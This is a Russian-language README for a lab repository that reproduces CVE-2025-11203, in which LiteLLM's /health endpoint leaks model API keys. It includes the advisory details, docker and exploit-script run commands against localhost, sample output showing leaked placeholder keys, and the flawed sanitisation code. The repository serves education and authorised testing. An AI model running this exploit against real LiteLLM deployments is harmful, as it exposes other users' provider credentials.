
Код для самостоятельного воспроизведения соответствующей уязвимости
LiteLLM (версии < 1.63.14) при обработке параметра
api_keyна эндпоинте/healthнеправильно фильтрует конфиденциальную информацию, позволяя аутентифицированным пользователям получать API Key, хранящиеся в конфигурациях других моделей. Полеapi_key, которое должно удаляться функцией_clean_endpoint_data(), утекает в некоторых путях кода.
| Поле | Значение |
|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (Раскрытие конфиденциальной информации неавторизованному субъекту) |
| Затронутые | LiteLLM < 1.63.14 |
| Исправлено | v1.63.14+ (полное применение _clean_endpoint_data()) |
| Опубликовано | 2025-10-29 |
| Обнаружили | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| Сообщено вендору | 2025-03-25 |
| Ссылки | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
Эндпоинт /health в LiteLLM используется для возврата состояния здоровья всех настроенных моделей. В нормальной ситуации функция _clean_endpoint_data()
должна удалять из ответа проверки здоровья конфиденциальные поля (например, api_key, x-api-key и т.д.).
Однако до версии v1.63.14 эта функция очистки в некоторых путях кода не выполнялась или выполнялась не полностью, в результате чего API Key из конфигураций моделей возвращались в ответе проверки здоровья в открытом виде.
| Эндпоинт | Метод | Описание |
|---|---|---|
/health | GET | Возвращает состояние здоровья всех моделей |
/health/liveliness | GET | Проверка активности |
/health/readiness | GET | Проверка готовности |
Аутентифицированные пользователи могут получить через интерфейс проверки здоровья:
# 1. Запустить уязвимую версию LiteLLM
docker compose up -d
# 2. Установить зависимости
pip install -r requirements.txt
# 3. Запустить эксплойт
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. Просмотреть полный ответ
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (Опционально) Проверить исправленную версию
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
Примечание: Шаг 1 занимает ~60 секунд, поскольку LiteLLM опрашивает каждую вышестоящую модель (фиктивные ключи приводят к тайм-ауту каждого соединения). Утёкшие ключи отображаются в
unhealthy_endpoints, так как фиктивные ключи не могут подключиться к OpenAI/Anthropic.
Исправленная версия не раскрывает:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
Уязвимость находится в функции _clean_endpoint_data() в файле litellm/proxy/health_check.py,
которая фильтрует конфиденциальные поля (например, api_key) через список ILLEGAL_DISPLAY_PARAMS:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
В данной демонстрации с помощью sed из списка ILLEGAL_DISPLAY_PARAMS было удалено "api_key",
что заставляет эндпоинт /health возвращать исходные конфигурации моделей, имитируя обход функции очистки в некоторых путях кода.
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
Исправлено в v1.63.14: обеспечен корректный вызов _clean_endpoint_data() во всех путях кода проверки здоровья.
/healthОтказ от ответственности: Этот материал предоставлен только для образовательных целей и авторизованного тестирования безопасности.